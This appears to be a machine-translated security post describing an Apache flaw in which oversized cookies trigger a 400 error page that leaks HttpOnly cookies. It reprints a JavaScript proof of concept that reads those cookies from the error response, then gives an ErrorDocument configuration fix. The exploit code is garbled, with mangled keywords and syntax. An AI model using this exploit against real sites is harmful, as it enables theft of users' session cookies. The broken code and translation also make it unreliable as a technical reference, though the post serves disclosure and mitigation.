Apache HttpOnly Cookie XSS cross-site Vulnerability

Many programs, as well as some commercial or mature and open-source cms Article systems, generally add httponly attributes to cookies to prevent xss from stealing user cookies, to prohibit the direct use of js to get the user's cookie, thus reducing the harm of xss, and this problem can be used to bypass the httponly attribute of the cookie.
Open a site in chrome, open the developer tool in F12, find the console, enter the following code, and press Enter:
 
// Http://www.exploit-db.com/exploits/18442/
Function setCookies (good ){
// Construct string for cookie value
Var str = "";
For (var I = 0; I <819; I ++ ){
Str + = "x ";
}
// Set cookies
For (I = 0; I <10; I ++ ){
// Expire edevil cookie
If (good ){
Var cookie = "xss" + I + "=; expires =" + new Date ()-1). toUTCString () + "; path = /;";
}
// Set edevil cookie
Else {
Var cookie = "xss" + I + "=" + str + "; path = /";
}
Document. cookie = cookie;
}
}

Function makeRequest (){
SetCookies ();

Function parseCookies (){
Var cookie_dict = {};
// Only react on 400 status
If (xhr. readyState ===4 & xhr. status === 400 ){
// Replace newlines and match

 contentvar content = xhr.responseText.replace(/\r|\n/g,'').match(/

(. +) <\/Pre>/); if (content. length) {// Remove Cookie: prefixcontent = content [1]. replace ("Cookie:", ""); var cookies = content. replace (/xss \ d = x + ;? /G, ''). split (/;/g); // Add cookies to objectfor (var I = 0; I
 
  
Var s_c = cookies [I]. split ('=', 2); cookie_dict [s_c [0] = s_c [1] ;}// Unset malicious cookiessetCookies (true); alert (JSON. stringify (cookie_dict) ;}// Make XHR requestvar xhr = new XMLHttpRequest (); xhr. onreadystatechange = parseCookies; xhr. open ("GET", "/", true); xhr. send (null);} makeRequest (); then you can see That Lili's 400 Error contains cookie information. : Https://gist.github.com/pilate/1955a1c28324d4724b7b/download #
  Solution:Apache provides four official error handling methods (http://httpd.apache.org/docs/2.0/mod/core.html#errordocument), as follows In the event of a problem or error, Apachecan be configured to do one of four things, 1. output asimple hardcoded error message outputs a simple and blunt error code. 2. output acustomized message output a piece of information 3. redirect to alocal
  URL-pathTo handle the problem/error to a local custom page 4. redirect to an external
  URLTo handle theproblem/error to an external
  URLAfter testing, only method 2 is valid for error 400, and the returned packet does not contain cookie content.
  Apache
  Configuration:ErrorDocument400 "security test". Of course, you can upgrade apache to the latest version :). Reference: http://httpd.apache.org/security/vulnerabilities_22.html